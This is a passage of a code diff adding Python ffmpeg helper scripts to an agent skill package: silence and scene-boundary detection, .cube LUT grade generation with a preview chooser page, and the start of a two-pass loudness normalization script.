+            clips.append({"scene": scene.get("scene"), "src": src,
+                          "start": float(clip["start"]), "end": float(clip["end"])})
+    if missing:
+        for m in missing:
+            print(f"warning: source missing: {m}", file=sys.stderr)
+        if args.execute:
+            err(args.json, "NOT_FOUND",
+                f"{len(missing)} source file(s) missing (first: {missing[0]})",
+                EXIT_NOT_FOUND)
+
+    ffmpeg = shutil.which("ffmpeg")
+    ffprobe = shutil.which("ffprobe")
+    if args.execute and not ffmpeg:
+        err(args.json, "MISSING_DEPENDENCY", "ffmpeg not found on PATH",
+            EXIT_MISSING_DEP)
+
+    # Re-encode mode normalizes every segment to the first clip's geometry/fps,
+    # which is what makes the concat demuxer unconditionally safe.
+    norm_filter = ""
+    if not args.copy and ffprobe and not missing:
+        props = [video_props(ffprobe, c["src"]) for c in clips]
+        props = [p for p in props if p]
+        if props:
+            w, h, fps = props[0]["width"], props[0]["height"], props[0]["fps"] or 30
+            if any((p["width"], p["height"]) != (w, h) or p["fps"] != props[0]["fps"]
+                   for p in props):
+                print(f"note: mixed source params — normalizing all segments to "
+                      f"{w}x{h} @ {fps}fps", file=sys.stderr)
+            norm_filter = (f"scale={w}:{h}:force_original_aspect_ratio=decrease,"
+                           f"pad={w}:{h}:(ow-iw)/2:(oh-ih)/2,fps={fps}")
+
+    commands, concat_lines = [], []
+    for n, clip in enumerate(clips, 1):
+        seg = workdir / f"seg{n:03d}.mp4"
+        cmd = ["ffmpeg", "-y", "-ss", f"{clip['start']}", "-to", f"{clip['end']}",
+               "-i", str(clip["src"])]
+        if args.copy:
+            cmd += ["-c", "copy", "-avoid_negative_ts", "make_zero"]
+        else:
+            if norm_filter:
+                cmd += ["-vf", norm_filter]
+            cmd += ["-c:v", "libx264", "-crf", "18", "-preset", "fast",
+                    "-pix_fmt", "yuv420p", "-c:a", "aac", "-b:a", "192k",
+                    "-ar", "48000"]
+        cmd.append(str(seg))
+        commands.append(cmd)
+        concat_lines.append(f"file '{seg.as_posix()}'")
+
+    concat_txt = workdir / "concat.txt"
+    final_cmd = ["ffmpeg", "-y", "-f", "concat", "-safe", "0", "-i", str(concat_txt),
+                 "-c", "copy", "-movflags", "+faststart", str(output)]
+
+    data = {
+        "edl": str(edl_path), "mode": "copy" if args.copy else "reencode",
+        "executed": bool(args.execute), "workdir": str(workdir),
+        "output": str(output), "segments": len(clips),
+        "missing_sources": missing,
+        "commands": [" ".join(c) for c in commands] + [" ".join(final_cmd)],
+    }
+
+    if not args.execute:
+        if args.json:
+            print(json.dumps({"data": data, "meta": {"schema": SCHEMA}}, indent=2))
+        else:
+            print(f"# DRY-RUN — {len(clips)} segment(s) -> {output}")
+            for c in data["commands"][:-1]:
+                print(c)
+            print(f"# concat.txt:\n" + "\n".join(f"#   {l}" for l in concat_lines))
+            print(data["commands"][-1])
+        print("dry-run only; pass --execute to run", file=sys.stderr)
+        return EXIT_OK
+
+    workdir.mkdir(parents=True, exist_ok=True)
+    for n, cmd in enumerate(commands, 1):
+        print(f"cutting segment {n}/{len(commands)}...", file=sys.stderr)
+        proc = subprocess.run(cmd, capture_output=True, text=True)
+        if proc.returncode != 0:
+            err(args.json, "VALIDATION",
+                f"segment {n} failed: {(proc.stderr.strip().splitlines() or ['?'])[-1]}",
+                EXIT_VALIDATION)
+    concat_txt.write_text("\n".join(concat_lines) + "\n", encoding="utf-8")
+
+    # Atomic final write: concat to a temp name, then rename over the
+    # destination. The temp KEEPS the real extension — ffmpeg infers the muxer
+    # from it, and "final.mp4.tmp" would fail with "Invalid argument".
+    tmp_out = output.with_name(output.stem + ".tmp" + output.suffix)
+    final_cmd[-1] = str(tmp_out)
+    # the destination dir must exist BEFORE ffmpeg opens the temp output -
+    # otherwise concat dies with a cryptic "Error opening output files"
+    output.parent.mkdir(parents=True, exist_ok=True)
+    print("concatenating...", file=sys.stderr)
+    proc = subprocess.run(final_cmd, capture_output=True, text=True)
+    if proc.returncode != 0:
+        err(args.json, "VALIDATION",
+            f"concat failed: {(proc.stderr.strip().splitlines() or ['?'])[-1]}",
+            EXIT_VALIDATION)
+    tmp_out.replace(output)
+
+    if args.json:
+        print(json.dumps({"data": data, "meta": {"schema": SCHEMA}}, indent=2))
+    else:
+        print(str(output))
+    print(f"done: {output} ({len(clips)} segments)", file=sys.stderr)
+    print("next: re-transcribe the output and verify no words were clipped "
+          "(see references/edit-as-code.md)", file=sys.stderr)
+    return EXIT_OK
+
+
+if __name__ == "__main__":
+    sys.exit(main())

+ 190 - 0
skills/ffmpeg-ops/scripts/detect-segments.py

@@ -0,0 +1,190 @@
+#!/usr/bin/env python3
+"""Silence/scene boundaries as JSON segments — for STT chunking, dead-air cuts, shot splits.
+
+ffmpeg's silencedetect and scene-score output is human-oriented log text on
+stderr; this script runs the right filter and parses it into clean segments.
+--silence also derives the inverse (speech segments), which is what STT chunking
+and the cuts-land-in-silence EDL verification actually consume.
+
+Usage:   detect-segments.py [--silence | --scenes] [options] [--json] <file>
+Input:   one media file as positional
+Output:  stdout = TSV segments (kind, start, end, duration), or --json envelope
+         (schema claude-mods.ffmpeg-ops.segments/v1)
+Stderr:  progress, errors
+Exit:    0 ok, 2 usage, 3 file not found, 4 stream missing for mode / parse failure,
+         5 ffmpeg missing
+
+Examples:
+  detect-segments.py --silence interview.mp4
+  detect-segments.py --silence --noise -35dB --min-silence 0.8 --json in.mp4 | jq '.data.speech'
+  detect-segments.py --scenes --scene-threshold 0.3 --json in.mp4 | jq '.data.cuts'
+"""
+
+import argparse
+import json
+import re
+import shutil
+import subprocess
+import sys
+from pathlib import Path
+from typing import NoReturn
+
+SCHEMA = "claude-mods.ffmpeg-ops.segments/v1"
+EXIT_OK, EXIT_USAGE, EXIT_NOT_FOUND, EXIT_VALIDATION, EXIT_MISSING_DEP = 0, 2, 3, 4, 5
+
+
+def err(json_mode: bool, code: str, message: str, exit_code: int) -> NoReturn:
+    if json_mode:
+        print(json.dumps({"error": {"code": code, "message": message, "details": {}}}))
+    print(f"ERROR: {message}", file=sys.stderr)
+    sys.exit(exit_code)
+
+
+def media_duration(ffprobe: str, path: Path) -> float:
+    proc = subprocess.run(
+        [ffprobe, "-v", "error", "-show_entries", "format=duration",
+         "-of", "default=nw=1:nk=1", str(path)],
+        capture_output=True, text=True)
+    try:
+        return float(proc.stdout.strip())
+    except ValueError:
+        return 0.0
+
+
+def detect_silence(ffmpeg: str, path: Path, noise: str, min_silence: float,
+                   duration: float) -> dict:
+    proc = subprocess.run(
+        [ffmpeg, "-hide_banner", "-nostats", "-i", str(path),
+         "-af", f"silencedetect=noise={noise}:d={min_silence}",
+         "-vn", "-f", "null", "-"],
+        capture_output=True, text=True)
+    if proc.returncode != 0:
+        return {"_error": (proc.stderr.strip().splitlines() or ["unknown"])[-1]}
+
+    starts = [float(m) for m in re.findall(r"silence_start:\s*(-?[\d.]+)", proc.stderr)]
+    ends = [float(m) for m in re.findall(r"silence_end:\s*(-?[\d.]+)", proc.stderr)]
+    # A silence running to EOF has a start but no end line.
+    if len(starts) == len(ends) + 1:
+        ends.append(duration)
+
+    silences = [{"start": round(max(0.0, s), 3), "end": round(e, 3),
+                 "duration": round(e - s, 3)}
+                for s, e in zip(starts, ends)]
+
+    speech, cursor = [], 0.0
+    for sil in silences:
+        if sil["start"] > cursor + 0.01:
+            speech.append({"start": round(cursor, 3), "end": sil["start"],
+                           "duration": round(sil["start"] - cursor, 3)})
+        cursor = sil["end"]
+    if duration > cursor + 0.01:
+        speech.append({"start": round(cursor, 3), "end": round(duration, 3),
+                       "duration": round(duration - cursor, 3)})
+    return {"silences": silences, "speech": speech}
+
+
+def detect_scenes(ffmpeg: str, path: Path, threshold: float, duration: float) -> dict:
+    # metadata=print:file=- routes the per-frame report to STDOUT — a clean parse,
+    # unlike silencedetect which only logs to stderr.
+    proc = subprocess.run(
+        [ffmpeg, "-hide_banner", "-nostats", "-i", str(path),
+         "-vf", f"select='gt(scene,{threshold})',metadata=print:file=-",
+         "-an", "-f", "null", "-"],
+        capture_output=True, text=True)
+    if proc.returncode != 0:
+        return {"_error": (proc.stderr.strip().splitlines() or ["unknown"])[-1]}
+
+    cuts, scores = [], []
+    pts_re = re.compile(r"pts_time:(-?[\d.]+)")
+    score_re = re.compile(r"lavfi\.scene_score=([\d.]+)")
+    pending_pts = None
+    for line in proc.stdout.splitlines():
+        m = pts_re.search(line)
+        if m:
+            pending_pts = float(m.group(1))
+            continue
+        m = score_re.search(line)
+        if m and pending_pts is not None:
+            cuts.append(round(pending_pts, 3))
+            scores.append(float(m.group(1)))
+            pending_pts = None
+
+    segments, cursor = [], 0.0
+    for c in cuts:
+        if c > cursor + 0.01:
+            segments.append({"start": round(cursor, 3), "end": c,
+                             "duration": round(c - cursor, 3)})
+        cursor = c
+    if duration > cursor + 0.01:
+        segments.append({"start": round(cursor, 3), "end": round(duration, 3),
+                         "duration": round(duration - cursor, 3)})
+    return {"cuts": cuts, "scores": scores, "segments": segments}
+
+
+def main() -> int:
+    ap = argparse.ArgumentParser(
+        description="Detect silence or scene-change boundaries as JSON segments.",
+        epilog="Examples:\n"
+               "  detect-segments.py --silence interview.mp4\n"
+               "  detect-segments.py --scenes --json in.mp4 | jq '.data.cuts'\n",
+        formatter_class=argparse.RawDescriptionHelpFormatter)
+    ap.add_argument("file", help="media file to analyze")
+    mode = ap.add_mutually_exclusive_group()
+    mode.add_argument("--silence", action="store_true",
+                      help="detect audio silence + derive speech segments (default)")
+    mode.add_argument("--scenes", action="store_true",
+                      help="detect video scene changes")
+    ap.add_argument("--noise", default="-30dB",
+                    help="silence threshold, e.g. -30dB (default) or -35dB")
+    ap.add_argument("--min-silence", type=float, default=0.5,
+                    help="minimum silence duration in seconds (default 0.5)")
+    ap.add_argument("--scene-threshold", type=float, default=0.4,
+                    help="scene-change score threshold 0..1 (default 0.4)")
+    ap.add_argument("--json", action="store_true", help="emit JSON envelope on stdout")
+    args = ap.parse_args()
+
+    ffmpeg, ffprobe = shutil.which("ffmpeg"), shutil.which("ffprobe")
+    if not ffmpeg or not ffprobe:
+        err(args.json, "MISSING_DEPENDENCY", "ffmpeg/ffprobe not found on PATH",
+            EXIT_MISSING_DEP)
+
+    path = Path(args.file)
+    if not path.is_file():
+        err(args.json, "NOT_FOUND", f"file not found: {path}", EXIT_NOT_FOUND)
+
+    duration = media_duration(ffprobe, path)
+    mode_name = "scenes" if args.scenes else "silence"
+    print(f"detecting {mode_name} in {path.name}...", file=sys.stderr)
+
+    if args.scenes:
+        result = detect_scenes(ffmpeg, path, args.scene_threshold, duration)
+        params = {"scene_threshold": args.scene_threshold}
+    else:
+        result = detect_silence(ffmpeg, path, args.noise, args.min_silence, duration)
+        params = {"noise": args.noise, "min_silence_s": args.min_silence}
+
+    if "_error" in result:
+        err(args.json, "VALIDATION",
+            f"{mode_name} analysis failed (missing stream for mode?): {result['_error']}",
+            EXIT_VALIDATION)
+
+    data = {"file": str(path), "mode": mode_name, "duration_s": round(duration, 3),
+            "params": params, **result}
+
+    if args.json:
+        print(json.dumps({"data": data, "meta": {"schema": SCHEMA}}, indent=2))
+        return EXIT_OK
+
+    if args.scenes:
+        for seg in data["segments"]:
+            print(f"scene\t{seg['start']}\t{seg['end']}\t{seg['duration']}")
+    else:
+        for seg in data["silences"]:
+            print(f"silence\t{seg['start']}\t{seg['end']}\t{seg['duration']}")
+        for seg in data["speech"]:
+            print(f"speech\t{seg['start']}\t{seg['end']}\t{seg['duration']}")
+    return EXIT_OK
+
+
+if __name__ == "__main__":
+    sys.exit(main())

+ 317 - 0
skills/ffmpeg-ops/scripts/gen-luts.py

@@ -0,0 +1,317 @@
+#!/usr/bin/env python3
+"""Generate .cube 3D LUT grade variants (+ optional preview stills with HTML chooser).
+
+A .cube LUT is plain ASCII (an N^3 lattice of RGB triples), so grade candidates
+can be computed rather than hand-tuned in an NLE. This emits a family of looks —
+optionally on top of an S-Log3 -> Rec.709 conversion for log footage — and, with
+--previews, renders one still per look plus an index.html so a HUMAN can choose.
+
+THE AGENT NEVER PICKS THE GRADE. Generate, render previews, present the chooser,
+wait. Grading is a taste call (see SKILL.md / references/color-grading.md).
+
+Usage:   gen-luts.py [--variants LIST|all] [--size N] [--input-space slog3|rec709]
+                     [--out-dir DIR] [--previews MEDIA [--frame-at S]] [--json]
+Input:   no positional; --previews takes a video/image to grade stills from
+Output:  stdout = one line per written file (or --json manifest envelope,
+         schema claude-mods.ffmpeg-ops.luts/v1)
+Stderr:  progress, the human-picks-the-grade reminder, errors
+Exit:    0 ok, 2 usage, 3 preview source missing, 5 ffmpeg missing (--previews only)
+
+Examples:
+  gen-luts.py --variants all --out-dir work/luts
+  gen-luts.py --variants warm_filmic,punchy,teal_orange --input-space slog3
+  gen-luts.py --variants all --out-dir work/luts --previews footage.mp4 --frame-at 12.5
+  gen-luts.py --variants all --json | jq -r '.data.files[]'
+"""
+
+import argparse
+import json
+import shutil
+import subprocess
+import sys
+from pathlib import Path
+from typing import NoReturn
+
+SCHEMA = "claude-mods.ffmpeg-ops.luts/v1"
+EXIT_OK, EXIT_USAGE, EXIT_NOT_FOUND, EXIT_MISSING_DEP = 0, 2, 3, 5
+
+# Each look: white-balance temp (+warm/-cool), lift/gamma/gain (master),
+# per-channel gain tweaks, contrast (pivot 0.5), saturation, fade (black lift).
+# Optional "mix": a 3x3 channel-mix matrix applied first (rows = output R,G,B
+# as weights of input r,g,b) — what makes sepia/Technicolor expressible.
+LOOKS = {
+    "neutral709":   dict(temp=0.00, lift=0.000, gamma=1.00, gain=1.00,
+                         rgb_gain=(1.00, 1.00, 1.00), contrast=1.00, sat=1.00, fade=0.00),
+    "warm_filmic":  dict(temp=0.06, lift=0.005, gamma=0.98, gain=1.00,
+                         rgb_gain=(1.02, 1.00, 0.97), contrast=1.08, sat=1.05, fade=0.03),
+    "punchy":       dict(temp=0.01, lift=-0.010, gamma=1.00, gain=1.02,
+                         rgb_gain=(1.00, 1.00, 1.00), contrast=1.22, sat=1.25, fade=0.00),
+    "teal_orange":  dict(temp=0.02, lift=0.000, gamma=1.00, gain=1.00,
+                         rgb_gain=(1.05, 1.00, 0.94), contrast=1.10, sat=1.10, fade=0.01,
+                         shadow_teal=0.04),
+    "cool_desat":   dict(temp=-0.05, lift=0.005, gamma=1.00, gain=0.99,
+                         rgb_gain=(0.97, 1.00, 1.03), contrast=1.04, sat=0.80, fade=0.02),
+    "bleach_bypass": dict(temp=0.00, lift=-0.005, gamma=1.00, gain=0.98,
+                          rgb_gain=(1.00, 1.00, 1.00), contrast=1.30, sat=0.45, fade=0.00),
+    "film_fade":    dict(temp=0.02, lift=0.010, gamma=1.02, gain=0.99,
+                         rgb_gain=(1.01, 1.00, 0.99), contrast=0.96, sat=0.90, fade=0.06),
+    "golden_hour":  dict(temp=0.10, lift=0.005, gamma=1.01, gain=1.00,
+                         rgb_gain=(1.04, 1.01, 0.95), contrast=1.05, sat=1.08, fade=0.02),
+    "pastel":       dict(temp=0.01, lift=0.015, gamma=1.05, gain=0.99,
+                         rgb_gain=(1.00, 1.00, 1.00), contrast=0.88, sat=0.72, fade=0.08),
+    "noir_bw":      dict(temp=0.00, lift=-0.005, gamma=1.00, gain=1.00,
+                         rgb_gain=(1.00, 1.00, 1.00), contrast=1.25, sat=0.00, fade=0.00),
+    "sepia":        dict(temp=0.00, lift=0.005, gamma=1.00, gain=1.00,
+                         rgb_gain=(1.00, 1.00, 1.00), contrast=1.02, sat=1.00, fade=0.02,
+                         mix=((.393, .769, .189), (.349, .686, .168), (.272, .534, .131))),
+    "technicolor2": dict(temp=0.00, lift=0.000, gamma=1.00, gain=1.00,
+                         rgb_gain=(1.00, 1.00, 1.00), contrast=1.10, sat=1.20, fade=0.00,
+                         mix=((1.0, 0.0, 0.0), (0.0, 0.6, 0.4), (0.0, 0.4, 0.6))),
+    "matrix_green": dict(temp=0.00, lift=0.005, gamma=1.00, gain=1.00,
+                         rgb_gain=(0.97, 1.06, 0.98), contrast=1.10, sat=0.85, fade=0.02),
+    # Scope-extracted from reference footage (see look-recipes.md grimdark):
+    # warm-ash desat, pulled mids, true-ish blacks, controlled ceiling.
+    "grimdark":     dict(temp=0.015, lift=0.000, gamma=0.93, gain=0.97,
+                         rgb_gain=(1.02, 1.01, 0.98), contrast=1.04, sat=0.33, fade=0.03),
+}
+
+# Tone-map variants: gradient-map luma onto 2 stops (duotone) or 3 stops
+# (tritone/monotone: shadow, mid, highlight), all 0..1 RGB. Chroma of the look
+# = how far the stops sit from the neutral grey axis - monotones barely leave
+# it, poster duotones live far out. "contrast" applies pre-map (widens spread).
+_TONE_BASE = dict(temp=0.0, lift=0.0, gamma=1.0, gain=1.0,
+                  rgb_gain=(1.0, 1.0, 1.0), contrast=1.05, sat=1.0, fade=0.0)
+LOOKS.update({
+    # poster-strength duotones
+    "duo_navy":      {**_TONE_BASE, "tones": ((.05, .08, .25), (.98, .93, .80))},
+    "duo_cyanotype": {**_TONE_BASE, "tones": ((.04, .16, .29), (.92, .96, 1.0))},
+    "duo_sunset":    {**_TONE_BASE, "tones": ((.23, .06, .36), (1.0, .78, .34))},
+    "duo_forest":    {**_TONE_BASE, "tones": ((.06, .24, .18), (.91, .85, .63))},
+    "duo_crimson":   {**_TONE_BASE, "tones": ((.10, .02, .03), (1.0, .88, .86))},
+    "duo_synthwave": {**_TONE_BASE, "tones": ((.35, .06, .42), (.42, .91, 1.0))},
+    # muted / tertiary duotones
+    "duo_ash_rose":         {**_TONE_BASE, "tones": ((.23, .20, .22), (.85, .78, .76))},
+    "duo_olive_bone":       {**_TONE_BASE, "tones": ((.18, .20, .14), (.90, .88, .81))},
+    "duo_petrol_paper":     {**_TONE_BASE, "tones": ((.12, .23, .24), (.93, .91, .86))},
+    "duo_indigo_parchment": {**_TONE_BASE, "tones": ((.16, .23, .33), (.91, .89, .82))},
+    "duo_slate_ice":        {**_TONE_BASE, "tones": ((.11, .15, .20), (.95, .97, .98))},
+    # monotones (darkroom chemical tones - chroma barely off the grey axis)
+    "mono_selenium": {**_TONE_BASE, "tones": ((.05, .04, .07), (.48, .46, .52), (.96, .95, .97))},
+    "mono_platinum": {**_TONE_BASE, "tones": ((.07, .07, .06), (.52, .51, .49), (.97, .96, .94))},
+    "mono_coffee":   {**_TONE_BASE, "tones": ((.08, .05, .03), (.55, .47, .40), (.96, .92, .87))},
+    "mono_steel":    {**_TONE_BASE, "tones": ((.04, .06, .09), (.46, .50, .55), (.94, .96, .98))},
+    # tritones (distinct shadow / mid / highlight hues)
+    "tri_split_classic": {**_TONE_BASE, "tones": ((.06, .07, .12), (.50, .49, .48), (.98, .94, .86))},
+    "tri_tobacco":       {**_TONE_BASE, "tones": ((.05, .04, .02), (.45, .40, .28), (.95, .88, .70))},
+    "tri_arctic":        {**_TONE_BASE, "tones": ((.03, .05, .09), (.42, .50, .58), (.93, .97, 1.0))},
+})
+
+
+def err(json_mode: bool, code: str, message: str, exit_code: int) -> NoReturn:
+    if json_mode:
+        print(json.dumps({"error": {"code": code, "message": message, "details": {}}}))
+    print(f"ERROR: {message}", file=sys.stderr)
+    sys.exit(exit_code)
+
+
+def clamp(x: float) -> float:
+    return 0.0 if x < 0.0 else 1.0 if x > 1.0 else x
+
+
+def slog3_to_linear(x: float) -> float:
+    """Sony S-Log3 EOTF (input 0..1 code value -> scene linear)."""
+    if x >= 171.2102946929 / 1023.0:
+        return (10.0 ** ((x * 1023.0 - 420.0) / 261.5)) * 0.19 - 0.01
+    return (x * 1023.0 - 95.0) * 0.01125 / (171.2102946929 - 95.0)
+
+
+def linear_to_rec709(x: float) -> float:
+    """BT.709 OETF with a Reinhard-style shoulder for >1.0 scene values."""
+    x = max(0.0, x)
+    x = x / (1.0 + 0.35 * x)          # soft highlight roll-off
+    if x < 0.018:
+        return 4.5 * x
+    return 1.099 * (x ** 0.45) - 0.099
+
+
+def apply_look(r: float, g: float, b: float, p: dict) -> tuple:
+    # Channel mix first (sepia/Technicolor-class looks), then white balance.
+    mix = p.get("mix")
+    if mix:
+        r, g, b = (mix[0][0] * r + mix[0][1] * g + mix[0][2] * b,
+                   mix[1][0] * r + mix[1][1] * g + mix[1][2] * b,
+                   mix[2][0] * r + mix[2][1] * g + mix[2][2] * b)
+    t = p["temp"]
+    r, b = r * (1.0 + t), b * (1.0 - t)
+    # Lift / gamma / gain (master), then per-channel gain.
+    out = []
+    for c, cg in zip((r, g, b), p["rgb_gain"]):
+        c = c * p["gain"] * cg + p["lift"] * (1.0 - c)
+        c = clamp(c) ** (1.0 / p["gamma"])
+        out.append(c)
+    r, g, b = out
+    # Teal/orange split-tone: push shadows toward teal (complement of the warm gain).
+    st = p.get("shadow_teal", 0.0)
+    if st:
+        luma = 0.2126 * r + 0.7152 * g + 0.0722 * b
+        w = (1.0 - luma) ** 2          # weight shadows only
+        r, b = r - st * w, b + st * w
+    # Contrast around mid pivot.
+    k = p["contrast"]
+    r, g, b = (0.5 + (c - 0.5) * k for c in (r, g, b))
+    # Tone gradient map (replaces saturation): 2 stops = duotone lerp,
+    # 3 stops = piecewise shadow->mid (luma 0..0.5) -> highlight (0.5..1).
+    tones = p.get("tones")
+    luma = 0.2126 * r + 0.7152 * g + 0.0722 * b
+    if tones:
+        luma = clamp(luma)
+        if len(tones) == 3:
+            lo, hi = (tones[0], tones[1]) if luma < 0.5 else (tones[1], tones[2])
+            f2 = luma * 2 if luma < 0.5 else (luma - 0.5) * 2
+        else:
+            lo, hi, f2 = tones[0], tones[1], luma
+        r, g, b = (lo[i] + f2 * (hi[i] - lo[i]) for i in range(3))
+    else:
+        s = p["sat"]
+        r, g, b = (luma + s * (c - luma) for c in (r, g, b))
+    # Fade (lifted blacks).
+    f = p["fade"]
+    r, g, b = (f + c * (1.0 - f) for c in (r, g, b))
+    return clamp(r), clamp(g), clamp(b)
+
+
+def write_cube(path: Path, name: str, size: int, input_space: str, params: dict) -> None:
+    lines = [f'# generated by claude-mods ffmpeg-ops gen-luts.py',
+             f'# look={name} input_space={input_space}',
+             f'TITLE "{name}"',
+             f'LUT_3D_SIZE {size}',
+             'DOMAIN_MIN 0.0 0.0 0.0',
+             'DOMAIN_MAX 1.0 1.0 1.0']
+    n = size - 1
+    for bi in range(size):          # .cube order: red varies fastest
+        for gi in range(size):
+            for ri in range(size):
+                r, g, b = ri / n, gi / n, bi / n
+                if input_space == "slog3":
+                    r, g, b = (linear_to_rec709(slog3_to_linear(c)) for c in (r, g, b))
+                r, g, b = apply_look(r, g, b, params)
+                lines.append(f"{r:.6f} {g:.6f} {b:.6f}")
+    tmp = path.with_suffix(".cube.tmp")
+    tmp.write_text("\n".join(lines) + "\n", encoding="ascii")
+    tmp.replace(path)
+
+
+def render_previews(ffmpeg: str, media: Path, luts: list, out_dir: Path,
+                    frame_at: float) -> list:
+    stills = []
+    base_png = out_dir / "preview_original.png"
+    runs = [(None, base_png)] + [(p, out_dir / f"preview_{p.stem}.png") for p in luts]
+    media_abs = str(media.resolve())
+    for lut, png in runs:
+        cmd = [ffmpeg, "-y", "-v", "error", "-ss", str(frame_at), "-i", media_abs]
+        if lut:
+            # Run from out_dir and reference the LUT by bare filename — a full
+            # path inside the filter arg hits the drive-colon escaping trap
+            # ("lut3d=file=C:/..." parses ':' as an option separator).
+            cmd += ["-vf", f"lut3d=file={lut.name}:interp=tetrahedral"]
+        cmd += ["-frames:v", "1", png.name]
+        proc = subprocess.run(cmd, capture_output=True, text=True, cwd=str(out_dir))
+        if proc.returncode == 0:
+            stills.append(png)
+        else:
+            print(f"warning: preview failed for {lut.name if lut else 'original'}: "
+                  f"{(proc.stderr.strip().splitlines() or ['?'])[-1]}", file=sys.stderr)
+
+    cells = "\n".join(
+        f'<figure><img src="{p.name}" loading="lazy">'
+        f"<figcaption>{p.stem.replace('preview_', '')}</figcaption></figure>"
+        for p in stills)
+    (out_dir / "index.html").write_text(
+        "<!doctype html><meta charset='utf-8'><title>Pick a grade</title>"
+        "<style>body{background:#111;color:#eee;font:14px system-ui;margin:24px}"
+        "main{display:grid;grid-template-columns:repeat(auto-fill,minmax(420px,1fr));gap:16px}"
+        "img{width:100%;border-radius:6px}figcaption{margin-top:4px;text-align:center}"
+        "</style><h1>Pick a grade</h1><main>" + cells + "</main>\n",
+        encoding="utf-8")
+    return stills
+
+
+def main() -> int:
+    ap = argparse.ArgumentParser(
+        description="Generate .cube grade variants; optionally render a preview chooser.",
+        epilog="Examples:\n"
+               "  gen-luts.py --variants all --out-dir work/luts\n"
+               "  gen-luts.py --variants all --previews footage.mp4 --frame-at 12.5\n",
+        formatter_class=argparse.RawDescriptionHelpFormatter)
+    ap.add_argument("--variants", default="all",
+                    help=f"comma list or 'all' of: {', '.join(LOOKS)} (default all)")
+    ap.add_argument("--size", type=int, default=33, choices=(17, 33, 65),
+                    help="lattice points per axis (default 33)")
+    ap.add_argument("--input-space", default="rec709", choices=("rec709", "slog3"),
+                    help="source space; slog3 bakes an S-Log3->Rec.709 conversion in")
+    ap.add_argument("--out-dir", default="luts", help="output directory (default ./luts)")
+    ap.add_argument("--previews", default=None, metavar="MEDIA",
+                    help="render a graded still per LUT from this video/image + index.html")
+    ap.add_argument("--frame-at", type=float, default=5.0,
+                    help="timestamp for the preview frame (default 5.0s)")
+    ap.add_argument("--json", action="store_true", help="emit JSON manifest on stdout")
+    args = ap.parse_args()
+
+    if args.variants.strip().lower() == "all":
+        names = list(LOOKS)
+    else:
+        names = [v.strip() for v in args.variants.split(",") if v.strip()]
+        unknown = [n for n in names if n not in LOOKS]
+        if unknown or not names:
+            err(args.json, "USAGE",
+                f"unknown look(s): {', '.join(unknown) or '(none given)'} "
+                f"(available: {', '.join(LOOKS)})", EXIT_USAGE)
+
+    ffmpeg = None
+    media = None
+    if args.previews:
+        ffmpeg = shutil.which("ffmpeg")
+        if not ffmpeg:
+            err(args.json, "MISSING_DEPENDENCY",
+                "ffmpeg not found on PATH (required for --previews)", EXIT_MISSING_DEP)
+        media = Path(args.previews)
+        if not media.is_file():
+            err(args.json, "NOT_FOUND", f"preview source not found: {media}",
+                EXIT_NOT_FOUND)
+
+    out_dir = Path(args.out_dir)
+    out_dir.mkdir(parents=True, exist_ok=True)
+
+    written = []
+    for name in names:
+        path = out_dir / f"{name}.cube"
+        print(f"writing {path.name} ({args.size}^3, {args.input_space})...",
+              file=sys.stderr)
+        write_cube(path, name, args.size, args.input_space, LOOKS[name])
+        written.append(path)
+
+    stills = []
+    if args.previews and ffmpeg and media:
+        print("rendering preview stills...", file=sys.stderr)
+        stills = render_previews(ffmpeg, media, written, out_dir, args.frame_at)
+
+    data = {"out_dir": str(out_dir), "size": args.size,
+            "input_space": args.input_space,
+            "files": [str(p) for p in written],
+            "previews": [str(p) for p in stills],
+            "chooser": str(out_dir / "index.html") if stills else None}
+
+    if args.json:
+        print(json.dumps({"data": data, "meta": {"schema": SCHEMA}}, indent=2))
+    else:
+        for p in written + stills:
+            print(p)
+        if stills:
+            print(out_dir / "index.html")
+    print("REMINDER: present the chooser to the human — never auto-pick a grade.",
+          file=sys.stderr)
+    return EXIT_OK
+
+
+if __name__ == "__main__":
+    sys.exit(main())

+ 128 - 0
skills/ffmpeg-ops/scripts/loudnorm-scan.py

@@ -0,0 +1,128 @@
+#!/usr/bin/env python3
+"""Two-pass EBU R128 loudness: run the measurement pass, emit the exact pass-2 filter.
+
+One-pass loudnorm runs in dynamic mode (pumps quiet passages). Proper linear
+normalization needs the measured values fed back in — this script runs pass 1,
+parses loudnorm's JSON report off stderr, and prints the ready-to-paste pass-2
+filter string (and full command), so the agent never re-derives the dance.
+
+Usage:   loudnorm-scan.py [-I LUFS] [--tp dBTP] [--lra LU] [--json] <file>
+Input:   one media file with an audio stream
+Output:  stdout = measured values + pass-2 filter (or --json envelope,
+         schema claude-mods.ffmpeg-ops.loudnorm/v1)
+Stderr:  progress, errors
+Exit:    0 ok, 2 usage, 3 file not found, 4 no audio / parse failure,
+         5 ffmpeg missing
+
+Targets: -14 streaming platforms, -16 podcasts (default), -23 EBU R128 broadcast.
+
+Examples:
+  loudnorm-scan.py podcast.wav
+  loudnorm-scan.py -I -14 --json music.mp4 | jq -r '.data.pass2_filter'
+  loudnorm-scan.py -I -23 --tp -2 --lra 7 broadcast.mov
+"""
+
+import argparse
+import json
+import shutil
+import subprocess
+import sys
+from pathlib import Path
+from typing import NoReturn
+
+SCHEMA = "claude-mods.ffmpeg-ops.loudnorm/v1"
+EXIT_OK, EXIT_USAGE, EXIT_NOT_FOUND, EXIT_VALIDATION, EXIT_MISSING_DEP = 0, 2, 3, 4, 5
+
+
+def err(json_mode: bool, code: str, message: str, exit_code: int) -> NoReturn:
+    if json_mode:
+        print(json.dumps({"error": {"code": code, "message": message, "details": {}}}))
+    print(f"ERROR: {message}", file=sys.stderr)
+    sys.exit(exit_code)
+
+
+def main() -> int:
+    ap = argparse.ArgumentParser(
+        description="Measure loudness (pass 1) and emit the exact pass-2 loudnorm filter.",
+        epilog="Examples:\n"
+               "  loudnorm-scan.py podcast.wav\n"
+               "  loudnorm-scan.py -I -14 --json music.mp4 | jq -r '.data.pass2_filter'\n",
+        formatter_class=argparse.RawDescriptionHelpFormatter)
+    ap.add_argument("file", help="media file with an audio stream")
+    ap.add_argument("-I", "--target-i", type=float, default=-16.0,
+                    help="integrated loudness target, LUFS (default -16)")
+    ap.add_argument("--tp", type=float, default=-1.5,
+                    help="true-peak ceiling, dBTP (default -1.5)")
+    ap.add_argument("--lra", type=float, default=11.0,
+                    help="loudness range target, LU (default 11)")
+    ap.add_argument("--json", action="store_true", help="emit JSON envelope on stdout")
+    args = ap.parse_args()
+
+    ffmpeg = shutil.which("ffmpeg")
+    if not ffmpeg:
+        err(args.json, "MISSING_DEPENDENCY",
